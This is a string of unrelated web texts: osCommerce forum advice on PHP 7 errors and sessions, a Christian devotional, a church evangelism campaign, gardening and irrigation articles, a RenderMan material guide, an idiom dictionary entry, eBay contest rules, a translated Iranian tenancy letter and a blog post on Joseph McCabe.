The blank page is likely a php error, presumably after the order is created. My guess is that it's due to something not compatible with php7.2 If you make sure that errors are being displayed you should find out what it is, eg by having in admin/includes/application_top.php error_reporting(E_ALL & ~E_NOTICE); ini_set("display_errors", 1);
6. BrockleyJohn
Quickpay payment module for 2.3
AFAIK Quickpay are mostly relevant to Scandinavia and I don't think they support any US acquirers. Being UK-based myself I don't have much experience of US merchant gateways.
7. BrockleyJohn
Quickpay payment module for 2.3
8. I was keeping a branch up to date ready for people to download but the link was removed from my signature - it may be a little behind now.
9. Use 'inspect' in your browser to check which elements the spaces belong to, and that will tell you where you should attach extra rules. As you move the mouse over the lines of code it highlights the corresponding areas on the page, with different colours for the contents and the margins and padding. You can edit the rules directly in the browser to see the effect before you update your stylesheet.
10. it's in includes/configure.php define('STORE_SESSIONS', ''); // leave empty '' for default handler or set to 'mysql'
11. That could be a problem with session hijacking, where sessions aren't really working properly and you get multiple people (and in this case probably spiders too) sharing the same session id. Make sure sessions are set to mysql, spider sessions false, and if your database has been brought forward from a previous version check that the session id field is long enough (128 chars) Also check that when you navigate around the site there isn't a session id showing at the end of the url
12. BrockleyJohn
paypay module failed
so what do you get for this?
13. hate to tell you this Shaun but I believe php7 compliance went into edge in May 2017 so I think it's even older than that The basic approach, however you set about it, is to do a file compare between your version and CE frozen and make a judgement what to do with each change you might like to think about hiring a dev to do it for you - it could save you a lot of grief and certainly a lot of time
14. Careful - don't do exactly what you've said here. Where you see function __something that's a magic method if you want to know about magic methods and how classes work, you could try this https://www.culttt.com/2014/04/16/php-magic-methods/ but all you really need to know is that there's a special method that gets called when an object of the class is created - it's known as the constructor. In the php4 syntax for classes, the constructor had the same name as the class. From php5 there's the magic method __construct for the constructor but php4 classname methods still work silently as constructors. From php7, the classname methods still get executed when a new object is created but if you have one and no __construct method you get a warning because the php parser is telling you you're running old code on borrowed time that won't behave as expected at some point in the future. If you don't want to understand or think about any of this and just want a general rule you can always apply for your changes it is this: if you have a class throwing the warning, then it will be like this: class exampleclass { function exampleclass($param1, $param2) { .... and a change that will always work and behave the same as the old code is this class exampleclass { function __construct($param1,$param2) { return $this->exampleclass($param1,$param2); } function exampleclass($param1,$param2) { .... by doing them all this way they will all work, but you are making more changes than are actually needed because most of the time you can get away with renaming the function exampleclass to __construct There are some places where the code behaves differently in php7 than it did in php5 because the order of evaluation of things in a statement is different. I think one of them is in the admin security checks but I don't recall them exactly - you'll need to check through that commit.
15. BrockleyJohn
ship2pay for 2.3.x
16. The easiest workaround is to create (via phpmyadmin) an extra order status with status id set to 0 and a description something like 'status error - needs resetting'. Then the order doesn't disappear
17. BrockleyJohn
ship2pay for 2.3.x
@Omar_one I can't see any problem with your change, it should be fine
18. BrockleyJohn
ship2pay for 2.3.x
@Omar_one that would be a fatal error at any php level How have you got two class declarations in the file? That usually occurs with modules when people upload the class file to the language directory, so I'm struggling to guess how you managed it.
19. I'm sure you're not
20. BrockleyJohn
PayPal App for osCommerce Online Merchant
sorry Bobbee this is wrong and won't help anyone who uses it. If you do this then it will always use a value of 0 even when the setting is set. So you will get rid of the warning but you won't be able to see any paypal orders in admin because there's no matching status value. If you put quotes round it then it's a string and not a constant (defined or otherwise). The post you quoted was correct.
21. If your code is from March 2018 then it shouldn't be throwing class constructor warnings - Edge was php7-compatible mid 2017. However, you may have introduced them when applying addons.
22. only multi-language support
23. BrockleyJohn
PHP 7.2 Errors
The workaround: in catalog/includes/application_top.php change error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_STRICT & ~E_USER_DEPRECATED); to error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_STRICT & ~E_USER_DEPRECATED & ~E_WARNING);
24. The configurability of php and what directives work in .htaccess varies widely between hosts. You can turn the display of errors on by editing includes/application_top.php and changing ini_set('display_errors','0'); to ini_set('display_errors','1'); You can also set up logging to a file instead here. You haven't got errors in the page or included code or you'd get a white screen but you might have them in a class (eg module) that's being used
25. Ok, so it turns out that I only can't sign in using Firefox developer edition. On everything else I tried; Chrome, Opera or regular Firefox I can sign in fine. ...so clearing the cache, it now works there too. I guess I must have been on that site before!
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global_01_local_1_shard_00001926_processed.jsonl/27393
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Jump to content
This topic is now archived and is closed to further replies.
seems like a simple recordset problem, but
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I'm trying to print a repeat-region table that's populated when a user submits a key-value from one table, as an HTTP Get value. The table includes several foreign keys, that I need to populate with their values from the foreign tables. When I use a simple recordset, everything looks fine...the table prints with each set of values in the table. When I try to write a usable recordset in Dreamweaver, to convert the foreign-key values to their particular values in the foreign tables, however, the table prints with the first found value printed over and over in each row.
I hope this makes sense.
Any help would be GREATLY appreciated.
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global_01_local_1_shard_00001926_processed.jsonl/27397
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Perfectly Weak
By Francis Frangipane
(En Español)
Remarkably, the Lord would ultimately reveal Himself to Moses (and all Israel as well) as Jehovah-Rapha: "I am the Lord that healeth thee." Yes, God is our healer, yet there are times when God's hands wound before they heal. Indeed, He must cripple our self-confidence before we truly become God-confident. He breaks and drains us of pride so that we who were once full of self might instead be filled with God.
The Lord called Moses to return to Egypt as His spokesman. In response Moses pleaded, "Please, Lord, I have never been eloquent, neither recently nor in time past, nor since You have spoken to Your servant; for I am slow of speech and slow of tongue" (Exod. 4:10).
Never been eloquent? What about Egypt? "Moses the Eloquent" has become "Moses the Stammerer." The identity of a sophisticated leader, a prince who knew the highest tiers of Egyptian culture, no longer functions in Moses. God has so humbled His servant that he cannot even remember his days of powerful words and mighty deeds. Moses has only one memory of Egypt: failure.
For Moses, the very mention of the word Egypt floods his mind with weakness; Moses fears returning to the place of his humiliation, especially as a leader. Yet God has not called him to be a leader, but a servant. And to be a servant, one need not be eloquent, but obedient.
The fact is, the Lord deliberately seeks those who know their flaws. Paul testifies that "God has chosen the weak things of the world to shame the things which are strong . . . the things that are not, so that He might nullify the things that are, so that no man may boast before God" (1 Cor. 1:27-29).
Therefore, let us not excuse ourselves from God's calling because of our weaknesses. You see, before the Almighty, we each are nothing, and we can do nothing of lasting value apart from Him. It is in our lowliness that God's glory rises to its greatest heights.
Perhaps your last place of service to the Lord seemed to be a complete failure. Yet it is possible that the Lord has simply been making you perfectly weak so that He might manifest Himself perfectly strong within you.
Adapted from Francis Frangipane's In Christ's Image Training course.
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global_01_local_1_shard_00001926_processed.jsonl/27403
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Connect >1: Evangelism Campaign Through Groups
sssg connect1 campaign
Do you want to lead your Sunday School classes and/or small groups to reach out to new people?
How will you encourage them to invite them to class and class activities? How will you enroll new people? How will you prepare group members to share Jesus with lost friends? Consider using the 3151 Challenge!
What is the 3151 Challenge?
It is an evangelism campaign done through the Sunday School or small group ministry. During the campaign, every group member is encouraged to take the 3151 Challenge:
3 – Pray for three lost friends daily
1 – Learn a Gospel presentation
5 – Invite five people to attend their group
1 – Share the Gospel at least one time
The 3151 Challenge begins with a Soul-winning Commitment Day.
On this day, the pastor asks church members to accept the challenge and complete and return a 3151 Challenge Card. A Connection Card can make inviting friends simple. A 3151 Challenge Tract is provided to assist group members, with helpful suggestions such as: 7 ways to pray for a lost friend; a brief Gospel presentation; and six things that happen in the life of someone when they are invited to a biblical group. The 3151 Pastor’s Guide is available with many helpful suggestions. Also, a Group Leader’s Guide is also available for Sunday School teachers and small group leaders.
A helpful resource to support the 3151 Challenge is a 6-week Bible study from LifeWay’s Bible Studies for Life entitled, Unvarnished Truth: Life’s Greatest Story. These sessions are focused on helping class members understand and be able to share about salvation. For more information and/or to order the 6-week study, go to:
What might happen in a church with 100 people who accept the challenge?
That could mean
(1) prayer for 300 lost friends daily,
(2) 100 people learn a Gospel presentation,
(3) 500 people are invited to a Sunday School class/small group, and
(4) 100 people share the Gospel at least once.
Wow! Imagine if 1000 Georgia Baptist churches had 100 persons each accept the challenge?
¥ 300,000 lost friends prayed for daily
¥ 100,000 people learn a Gospel presentation
¥ 500,000 people invited to a Sunday School class and/or small group
¥ 100,000 time the Gospel would be shared.
Will you prayerfully consider leading your church to pursue the 3131 Challenge?
Please click this link for file downloads:
We would like to extend Big Thanks for Bob Mayfield and the Baptist General Convention of Oklahoma for launching the 3151 Challenge!
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global_01_local_1_shard_00001926_processed.jsonl/27429
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GREMFLEX® EMP is a self extinguishing, halogen free, Polyester 0,25mm monofilament and 0,10mm tinned copper, expandable braided sleeve.
GREMFLEX® EMP offers a continuous working temperature of -40°C up to +150°C. Polyester gives a good resistance to abrasion whilst copper confers excellent Electro Magnetic Interference (EMI) shielding protection properties (10 kHz to 1 GHz).
GREMFLEX® EMP is suitable for the protection of cables and harnesses which are sensitive to electrical noise.
-40°C to +150°C
PET Ø 0.25 mm monofilament and copper monofilament
Electro magnetic protection
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global_01_local_1_shard_00001926_processed.jsonl/27431
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Toilet Seats and the American Male
The other day my wife and I entered into a discussion prompted by me leaving the pantry door wide-open for the umpteenth time. Shortly after my obvious neglect, she walked by the gaping portal, stopped dead in her tracks, then turned toward me.
“May I ask you something? Is there any particular reason why you seem unable to close the door when you’re finished in the pantry?”
I briefly turned away from the NFL game of the week, smiled and replied, “Must be the same as not lowering the toilet seat, honey.”
The glare on her face told me that I’d probably stepped beyond the boundaries of acceptable husband-like behavior. Although my wife is not a difficult person, there are some simple tasks that, when routinely ignored, tend to upset her apple cart.
Attempting to add some levity to the situation I said, “It must be a genetic thing.” Then I pushed the envelope. “And what’s the big deal anyway?”
With that inquiry, my wife’s nose crinkled. Her brows arched above narrowed eyelids, as if lightning bolts might leap out and strike me on the head.
I quickly realized that my last remark had blasted the conversation toward a Pandora’s Box that folks––me in particular––just shouldn’t explore. But what the heck, my favorite team was losing. I was in a feisty mood.
My wife’s chastising expanded to include all males. “Why is it so difficult for men to lower the toilet seat after urinating? Are guys that feeble or are they just plain inconsiderate?”
I considered a witty comeback, but thought better of it. Instead, I sat back and analyzed the toilet seat dilemma. Perhaps that’s why men’s public restrooms always have urinals instead of only sit-down toilets––no seats. What if it’s the use of urinals that inspired males to initiate the nasty seat-up habit in the first place? Wouldn’t it be ironic if a woman had designed urinals?
And what about women? If a woman left the seat up in the ladies’ restroom, would the next occupant turn her in? Was there a code of toilet seat ethics among women that carried a penalty for that neglect? Then again, why would she raise the seat?
While my wife waited for a response, I reflected on my seats-up or seats-down ponderings. I had to admit that when women required a toilet, they always needed the seat down to fulfill either of their missions. In that respect, perhaps the request for men to lower the seat was reasonable.
On the other hand, why should men be the sacrificial lamb? Why should the male gender be the only ones who had to mess with the seat to pee? How was that fair?
I also considered that––except for public restrooms––most toilet seats have lids. Why would a person buy a toilet seat with a lid if the lid was never going to be used as intended? Why should women think it’s okay for them to leave the seat down but the lid up? Who wants to look at a puddle of water, in a porcelain throne every time they enter the bathroom––especially if the previous occupant left evidence of their visit? How is that being courteous?
With my thoughts collected on the toilet seat debate, I presented my case.
Based upon my wife’s wide-eyed and speechless reaction, I considered her response as a good sign. Apparently, she’d not only she heard what I said, but also found validity in my statements.
I concluded with a shot toward diplomacy by also offering a solution. “Why not have men and women lower the seat and the lid when they complete their bodily functions? That way we both have to raise something to get started and lower something when we’re finished. That way we consistently approach toilet seats with equality, which is what most women want anyway, right?”
My wife offered a subtle nod, then left the room.
By the time we’d resolved one of America’s––perhaps the world’s––greatest issues, my favorite football team had lost their game. Guess it just wasn’t their year for greatness. Regardless, I felt as though I’d gained a small victory.
I’m still not certain why I related toilet seats to the open pantry, but since that conversation––except when in use––both the pantry door and the toilet seat and lid remain in their desired positions. But I also have to wonder whether both the pantry door and the toilet seat combo aren’t possessed, because there are times when they seem to open or raise on their own. That has to be the case, because neither my wife nor I would ever commit either of those sins again.
2 thoughts on “Toilet Seats and the American Male
1. … and the List goes on..
Lid on toothpaste
Replacing the toilet paper roll
Failure to go the next move.. putting dishes in the dishwasher 🤣
In the scheme of things..I would invite all these misgivings in my home for my Jim to partake.
Don’t sweat the small stuff.
My best,
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global_01_local_1_shard_00001926_processed.jsonl/27438
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Image 1 of 1
Stolen Kiss (mockup)
This skeleton was missing one of its feet when I found it dead on a lily pad. Stolen Kiss is a metaphoric piece about frogs that are not princes, that steal kisses from women, and sometimes more.<br />
<br />
On a less serious note, I named, the poor fellow, Luke, after Luke Skywalker, the most famous man to lose an appendage.
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global_01_local_1_shard_00001926_processed.jsonl/27440
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about me
About me
Actually I studied electrical engineering and worked most of my professional life at a desk in the computer department. Maybe that's why I need the balance by manual work.
I have always been impressed by old crafts. At some point I made myself a small forge and simply tried how to get iron glowing in a charcoal fire and then hammered it on a piece of railroad track into some kind of a shape.
You see, I am neither a trained blacksmith nor do I practise this craft professionally. All my works are artistic and hobbyistic.
About my forge work
A few years ago I attended my first short forging course and learned some basic skills. From then on, I was fascinated with forging. There is hardly a Saturday without me standing in my little forge for a few hours.
After this time of diligent practice, I keep making nice and useful pieces, so many now that I can no longer put them on a shelf at home.
All pieces are completely hand-forged. Only in a few exceptional cases a small weld or rivet is used to join two parts.
Hier sind meine sonstigen Internet-Auftritt bzw. betreute Seiten. <a href="http://www.jutta-caspari.de">Naturheilpraxis Jutta Caspari</a> <a href="http://osteopath-neuwied.de">Naturheilpraxis Jutta Caspari</a> <a href="http://osteopathie-neuwied.info">Naturheilpraxis Jutta Caspari</a> <a href="http://www.windforfun.de">unsere Segel-Seite</a> <a href="http://archer.ecaspari.de">die Attic-Archer</a> <a href="http://fotos.ecaspari.de">Fotoserien von Ewald Caspari</a>
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global_01_local_1_shard_00001926_processed.jsonl/27447
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Before plugging in maps manually, why not try out our easy to use Maya addon to quickly load in your materials?
1. Create a PxrSurface material.
2. Insert the COL map into the Color channel.
3. Under Primary Specular section:
- Set the Specular Fresnel Mode to Physical.
- Insert the REFL map into the Edge Color input and invert it.
- Insert the GLOSS map into the Roughness input. Set this map to linear and invert it.
- Under Advanced, set the Specular model to Ggx.
4. Add a PxrNormalMap and plug it into the (Globals) Bump Normal.
5. Insert the NRM map into the PxrNormalMap Input Normal, and set it to Linear. Set the Bump Orientation to OpenGL. Note, RenderMan doesn't like 8bit jpg normals by default, and so when an 8-bit JPG map is used you'll need to insert a maya "gammaCorrect" node between the JPG and the PxrNormalMap. Then in this node set all three Gamma channels to 2.2.
6. Create and insert a PxrDisplace into the main Displacement Shader, and then insert the DISP into the Disp Scalar value. Set the Gain to 0.1.
Metal materials are the same as regular materials but with these exceptions:
1. Turn off the invert for the REFL map.
2. Under the Primary Specular section, instead of Physical mode for the Specular Fresnel mode, set it back to Artistic and then change the Fresnel Exponent to 0. (Edge color and roughness inputs stay the same)
Did this answer your question?
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global_01_local_1_shard_00001926_processed.jsonl/27457
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Why Does My Mandevilla Drop Its Buds?
If you tend to over-water, keep your mandevilla in a terra cotta pot.
Evergreen tropical vines, mandevillas aren’t shy about blowing their own trumpets -- trumpet-shaped flowers, that is. With blooms in shades of red, pink or white, the plants are often sold as potted annuals, since most species are only perennial in U.S. Department of Agriculture plant hardiness zones 10 to 11. The exception is the Chilean jasmine (Mandevilla laxa), which can survive outdoors in USDA zones 7 to 11, but will die back to the ground during winter at the colder end of that range. Although they churn out lots of buds, mandevillas sometimes shed them too, for a variety of reasons.
The Light of Day
Mandevillas need sunlight to bloom well, but full sun all day, every day may be too much of a good thing for some plants. According to GrowerTalks magazine, "high light during the summer can cause bud abortion." If your plant looks a bit bleached, shift it to an area where it receives full sun only in the morning and not during the brightest hours of midday.
A Long Drink of Water
Too much water or too little may also cause your mandevilla to drop buds. It has tuberous roots which rot easily when forced to endure constantly soggy conditions. If your mandevilla is growing in a pot, make sure that container has drainage holes and is filled with a light and porous potting soil rather than heavy clay, so that excess water doesn’t linger. On the other hand, you should never allow the soil to become parched either, or the plant will cast off buds that it can no longer sustain.
A Chunk of Change
If you decide to bring your mandevilla indoors in the fall to preserve it for the following summer, it will almost inevitably lose buds due to the shock of the transition. The environment in most homes is much lower in both light and humidity than what the plant will have experienced outdoors. Rather than trying to keep it growing under those conditions, you can force the plant into semi-dormancy over the winter. To do so, cut it back to about 10 inches, place it in a cool, dark place with temperatures in the 50s or 60s Fahrenheit, and water it only enough to keep the soil barely damp until spring. Make sure to disinfect your pruning tool blades by wiping them off with alcohol before pruning. This will lessen the chances of infecting the mandevilla with any diseases still clinging to the blades from a previous pruning job.
Left Out in the Cold
Despite the shock your plant will have to endure when brought indoors, it isn’t a good idea to leave it out too late in the fall, either. A sudden freeze will kill most mandevillas, with the exception of Mandevilla laxa, and they aren't fond of temperatures in the 40's F, either. Most types will begun to sulk -- and possibly cast buds -- once night-time temperatures drop below 50 degrees F., and they should be brought indoors at that time.
About the Author
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• Photos.com/Photos.com/Getty Images
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How to Determine Sprinkler Heads Per Zone
Automatic irrigation systems save time, water and money -- provided they've been planned and installed properly. Manufacturers and landscapers will prepare designs for potential systems. Regardless of available expertise, make yourself familiar with the concepts used to determine the number of fixtures to place in each zone, or subdivision, of your landscape -- especially if you're planning on installing the system yourself.
Sprinklers, Sprayers, Drip Emitters and Bubblers
Sprinkler numbers depend on water supply and plantings in a zone.
Once, automatic irrigation systems consisted of either fixed or oscillating sprinklers, but these provided only one type of overhead watering. Modern fixtures take into account the differences in types of plants, the balance of sun and shade and can be programmed to compensate for type of soil.
Sprinkler settings allow narrow arcs of spray to circles of rainlike watering for large areas of lawn. Sprayers provide down-spray in flower or vegetable gardens.
Bubblers and spitters -- many with adjustable rate settings -- provide dribbles at the foot of individual plants. Drip irrigation systems snake through vegetable gardens, providing even moisture at a low flow rate that supports growth but helps prevent the spread of disease.
Pressure and Gallons Per Minute
Automatic systems require minimum water pressure, measured in pounds per square inch -- systems typically require between 30 and 40 psi at the source. Volume, or flow rate, is expressed in gallons per minute -- gpm.
Given a flow rate of 8 gpm at 36 psi in a given zone, for example, you might install up to five of one model sprinkler that covers a 90-degree slice of lawn, but only one of the same model that rotates a full 360-degree circle. Another set of tables shows that a 180-degree half circle sprinkler set to water a 5-foot radius would need only 019 gpm to operate, but one rated to reach a 15-foot radius semi-circle requires a 16 gpm flow.
Zone Considerations
Each fixture decreases water flow, so each zone must be carefully balanced. A rectangular garden plot, for example, might require only a drip hose and a few bubblers for shrubs, while a zone full of sloped, sunny lawn might need six to eight oscillating or fixed sprinklers as well as pressure valves on the downhill slope.
Remember, too, that the number and type of fixtures in each zone are limited to the maximum that can function with the water flow rate that enters that specific zone.
The Delicate Balance
Use as many fixtures as you need to cover the zone evenly, but ensure efficient functioning of each fixture by staying within the limit of the available water supply. Although pressure valves control pressure and pipe size steps flow up or down, the draw of fixtures in any one zone must total less than the flow entering the zone.
To find your system's gallons per minute rate, fill a 5-gallon bucket with water at the outdoor tap, then divide 5 gallons by the seconds taken to fill. Finally, multiply that figure by 60 to get gallons per minute.
Measure water pressure with a simple pressure meter. Armed with these figures, use manufacturer specifications to choose fixtures recommended to cover plantings in each zone.
About the Author
Photo Credits
• Lee Clower/iStock/Getty Images
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(redirected from prayers)
not a hope in hell
Absolutely no possibility of succeeding, coming to pass, or achieving something. There's not a hope in hell that you'll find me living in this town after I graduate.
See also: hell, hope, not
have a prayer
To not have any chance at all of doing or achieving something. Almost always used in the negative. With that giant supermarket opening up across the street, our little grocery store won't have a prayer of staying open. You think you can beat me? Ha! You don't have a prayer.
See also: have, prayer
not have a prayer
To be completely impossible or incredibly unlikely; to have no chance whatsoever. With the way that the other team has been playing, I'm afraid our guys don't have a prayer. That bill doesn't have a prayer of passing.
See also: have, not, prayer
the/an answer to (one's) prayer(s)
The perfect solution to a desperate need. Can be used literally (when one has actually prayed) or in a more figurative sense. I really believe this job was the answer to my prayer for a better life. This grant is an answer to our prayers. The center can stay open now!
See also: answer
on a wing and a prayer
Without much preparation (and thus little hope of success). I didn't have time to edit my term paper so I just submitted it on a wing and a prayer.
See also: and, on, prayer, wing
thoughts and prayers
A phrase often used as part of an attempt to comfort someone who has just suffered a tragic loss, as in, "Our thoughts and prayers are with you." The frequent use of the phrase or similar expressions by politicians after mass shootings in the US has increasingly been criticized by those who believe it is used to avoid pursuing tangible actions, notably changes to gun laws. You can keep your thoughts and prayers, senator—they won't give me my sister back.
See also: and, prayer, thought
in someone's prayers
[of someone] remembered and called by name when someone prays. I am sorry to hear of your sickness. You will be in our prayers. The whole family is in my prayers because they have suffered so much.
See also: prayer
*on a wing and a prayer
Fig. to arrive or fly in with one's plane in very bad condition. (Sometimes used fig. of other vehicles. *Typically: come (in) ~; arrive ~.) Finally we could see the plane through the smoke, coming in on a wing and a prayer.
See also: and, on, prayer, wing
not a hope in hell
See also: hell, hope, not
prayer, not a
see under not a hope in hell.
See also: not
not have a prayer
If you say that someone does not have a prayer, you mean that it is impossible for them to achieve something. The team was on such good form, their opponents didn't have a prayer. He did not seem to have a prayer of regaining the world title.
See also: have, not, prayer
on a wing and a prayer
If you do something on a wing and a prayer, you do it in the hope that you will succeed, even though you do not have what you need to do it. Dozens of airlines have entered the industry on a wing and a prayer, and dozens have gone bankrupt. In the past, teams have been run on a wing and a prayer. Note: This is the title of a song by H. Adamson, written in 1943, which referred to the emergency landing of an aircraft: `Tho' there's one motor gone, we can still carry on, Comin' In On A Wing And A Pray'r.'
See also: and, on, prayer, wing
not a hope (or chance) in hell
no hope (or chance) at all. informal
An elaboration of this phrase is not a snowball's chance in hell .
See also: hell, hope, not
not have a prayer
have no chance at all of succeeding at something. informal
1998 Oldie Show them you can re-programme the computer to eliminate the Millennium Problem and you are in. Confess that you don't even know how to turn it on, and you haven't a prayer.
See also: have, not, prayer
on a wing and a prayer
with only the slightest chance of success.
This expression comes from the title of a 1943 song by the American songwriter Harold Adamson , ‘Comin' in on a Wing and a Prayer’. He himself took it from a contemporary comment made by a wartime pilot speaking to ground control before making an emergency landing.
See also: and, on, prayer, wing
the ˌanswer to somebody’s ˈprayers
a thing or a person that somebody has waited for or wanted for a long time: If you’ve been looking for a good quality fleece at a reasonable price, this one could be the answer to your prayers.
See also: answer, prayer
not have a ˈprayer (of doing something)
have no chance of succeeding: She’s done no work at all this term, so she doesn’t have a prayer of passing her exams.
See also: have, not, prayer
on a ˌwing and a ˈprayer
with only a very slight chance of success: He started the business in his own home, on a wing and a prayer, but it looks like he’s really going to make a success of it.This expression was first used in the military to describe how pilots flying very badly damaged planes succeeded in returning to base.
See also: and, on, prayer, wing
References in periodicals archive ?
By: Egypt Today staff CAIRO -- 29 May 2017: Thousands of worshipers perform daily Taraweeh prayers at Amr Ibn al-As Mosque since the beginning of Ramadan.
Prayer was decreed by Almighty Allah on the night of Al-Mi'raj before Hijrah, as five prayers to be performed every day and night at specified times by every legally accountable Muslim.
The prayers are most poetic, including a Prayer for Humility, a Prayer for Abandoning a Path of Error, a Prayer for the Tempering of Pleasure, a Prayer for Not Fitting In, a Prayer for Accepting Our Roles, A Prayer for the Untalented, a Prayer for Those Who Dwell in Penumbra, a Prayer for Those Who Go Too Far, an Apocryphal Prayer, a Prayer in the Tongue of Birds, a Prayer of Supplication, a Prayer for Balance, and a Prayer for Dreamers.
A number of Shaikhs and worshippers will perform prayers along with Shaikh Mohammed.
These categories are: the "stub" and "special" prayers.
Question: Can I pray the missed obligatory prayers after the dawn prayer, or the 'Asr prayer, if I am afraid to miss the present obligatory prayers?
Adil Salahi | Arab News <p>Some people prefer to perform all their prayers at home, going to the mosque only once a week, for Friday prayers.
He encourages the reader to discover God's plan for end time prayers and the need for developing a relationship with Christ through significant, consistent, effective prayer.
Now, a new study has delved into the mystery of why people believe in prayers.
Originally the prayers were said at Compline (night prayer), and over the years, midday and morning prayers were added.
As they end their prayers, the sun's first rays break the horizon.
A federal court has set back a Virginia town councilman's crusade to offer sectarian prayers at public meetings.
The founders would rather have you add ties and prayers to a store-bought blanket than have you make a prayer quilt so beautiful, perfect and intricate it could win first prize in a quilt show.
The quality of the essays is high and the volume is a welcome complement to several recent anthologies on biblical and Jewish prayer that, by choosing such a broad theme, have helped to bridge the gulf separating the various subfields of biblical and Jewish studies (for example, Prayer from Alexandria to Constantine [1997] and Prayers from the Ancient World [20061).
When a person experiences God they are drawn to offer prayers of praise and thanksgiving.
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January 2003 Advanced Technology Projects At-A-Glance Summary Now Available Online
Advanced Technology Project (ATP) teams are defined as small groups charged with investigating within a defined timeframe a major technological issue with possible campus-wide applications. The ATP teams typically include members of Information and Educational Technology (IET) as well as representatives from the Technology Infrastructure Forum (TIF) and campus departments or organizations. An at-a-glance summary of these projects is now available, which includes the Enterprise Directory, Workflow Engine, and Video Services & Distribution projects.
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Throw back In Time Contest get a special surprise from ebay
Posted on
Here are a few life events people tagged us in! If you want your story up on the eBay page, just share a life event on your page with #ThrowbackInTime and tag @ebaydotin. A lucky few will get a special surprise from ebay!
1. The #ThrowbackInTime Contest (hereinafter referred to as “Promotion”) shall be valid from March 6th, 2017, 12:00 p.m. till March 9th, 2017, 10:00 am (hereinafter referred to as “Promotion Period”).
2. The Promotion is valid ONLY for residents of India who currently reside in India.
3. Participation in the Promotion does not require any purchase or transaction on (“eBay Website”).
4. Participants need to follow and and (hereinafter referred to as “eBay India Social Account”) during the Promotion Period.
5. Participant must be at least 18 years of age or above in order to participate in the Promotion.
6. A participant will not be gratified or declared as winner more than once during this Promotion.
7. The winners of the contest will be selected from India.
Participation Process:
1. During the Promotion Period, the participants are required to use the hashtag ‘#ThrowbackInTime’ and share a life event tagging eBay India’s Social Account “@ebaydotin”
2. Criteria for winners:
a. Participants need to follow eBay India Social Account during the Promotion Period.
b. Participant must use above mentioned Hashtag in the life event shared on their timeline.
c. Participants must tag eBay India page on Facebook.
d. One winner will be selected on Facebook for this activity.
e. We will recreate the moment in the person’s life as gratification.
3. The winners will be notified on eBay’s Facebook, Twitter and Instagram account at the end of Promotion Period.
4. Further, eBay will request the winners to send the contact details (such as his/her address, email Id and contact details) via DM before 13th March, 7 pm. If the winner/participant fails to send the requested details, eBay will forfeit their gratification and no replacement will be offered for the same
Participate Here
Contest Mantra terms and conditions
5. Before authorizing facebook app check the permission it is asking
6. Participare with your own risk.
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[Translator’s notes appear in square brackets]
[Personal information has been redacted.]
In the Name of God
Islamic Republic of Iran
Bonyad e-Mostazafan Foundation of Mazandaran Province - "Salmanshahr"
Number [illegible]
Date 12/2/1361 [2 May 1982]
Enclosure -----
No excuse is acceptable before God and before the movement. "Imam Khomeini"
Mr. Payman Lesani
In view of the general policies of Bonyad e-Mostazafan Foundation, you can no longer be a tenant under this Foundation. Hereby, Tenancy Agreement number 196 dated 19/10/1360 [9 January 1982] of this foundation is annulled. Therefore, you are requested to contact the Real Estate Division of this Foundation for any enquiries you may have [regarding this ruling].
Administrator of Bonyad e-Mostazafan Foundation of Salmanshahr
[signature over official stamp]
[contact details]
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Month: September 2016
McCabe and the Land of Bunk
mccabeJoseph McCabe (1867-1955), a Roman Catholic monk who abandoned his religious beliefs around 1895, was a prolific author, writing over two hundred books on science, history, biography, and religion. Historians of science and religion have largely ignored McCabe, and it is unclear why. But if historians are looking for the intellectual forebears of the so-called “New Atheism,” McCabe serves a much better candidate than either John William Draper and Andrew Dickson White.
McCabe published mostly with Watts & Company in London, but he also found a home in Kansas, with Haldeman-Julius Publishing Company. Established by Emmanuel Haldeman-Julius, an atheist, socialist, and newspaper publisher, he began publishing a five-cent, papered-covered “Little Blue Books” series in 1919. Perhaps one of the most popular titles in the series was McCabe’s The Conflict Between Science and Religion (1927).
McCabe begins with an arresting vision of the future. “Somewhere about the year 2100 a work will be written,” he says, “on the entire history of religion.” This will necessarily be a history of its “dissolution.” This future historian will give an account of the priesthood and the fabrication of sacred books. He will recognize, moreover, that the “finer emotions of the new age were outraged by some of the most important doctrines of what were called the higher religions.” More importantly, this future historian will have to dedicate a large section to “The Conflict Between Religion and Science.” In this section, McCabe explains, this future historian will draw from sources mostly printed from 1850 to 1950. He will be amused, says McCabe, by distinguished men of science and theologians both protesting that there is no conflict:
“he will read the priests protesting that there is no conflict between true science and religion, and the professors plaintively chanting that there is no conflict between science and true religion. They suspend their fighting occasionally to recover their breath and affirm that they are not fighting” (6-7).
McCabe lays out his thesis thus: “Science has, ever since its birth, been in conflict with religion.” Science first emerged, he writes, in the Greek colonies on the coast of Asia Minor. They perceived at once that tradition was entirely wrong, and knowledge must be acquired by reason and senses. The liberty and spirit of inquiry in these colonies ushered in the decay of religion. But their religious neighbours were quick to “trim their sails.” The work of science was prohibited, until resumed in Alexandria a few centuries later. But the new religion of Christianity gained political power at the time, and “murdered the last brilliant representative of Greek thought, Hypatia, and completely extinguished scientific research.” Indeed, Christianity was the “most deadly opponent” of scientific progress.
During Christendom, science was extinct. Science reemerged in the Arab world, but “not on account of its Mohammedan religion, but very clearly in spite of it.” McCabe argued that a new skepticism was rising, and with it the revival of science. Wandering scholars encountered this renaissance, and brought back the “new” learning to England and France. But there was nothing new here, according to McCabe. “From [Roger] Bacon to Copernicus,” he writes, “they all merely repeated what Greeks or Moors had told them, and that, the moment they opened their mouths, the modern conflict between science and religion began.” Imprisoned, extinguished, hounded, and burned, these followers of Greek science paid a hefty price.
But when Christendom found itself weakened by the “great schism,” men of science finally gained more liberty. The deists attacked the crudities and inconsistencies of the Old Testament, allowing scientific men to reconstruct the “real history of the earth and of man.”
The conflict rages to this day, says McCabe. There is no disputing the fact that “a mighty conflict of science and religion” occurred in the nineteenth century. American fundamentalists, McCabe argues, still maintain it.
Before moving forward, McCabe wants to address a couple of “fallacious or untruthful statements about this historical conflict.” First is the common statement that “there never was a conflict between religion and science” (11). McCabe directly targets Andrew Dickson White’s claim that the conflict was between theology, and not religion. “To talk of a few combative theologians sparring with a few combative scientists about these matters is utter historical untruth.” To our ancestors, theology was religion, according to McCabe.
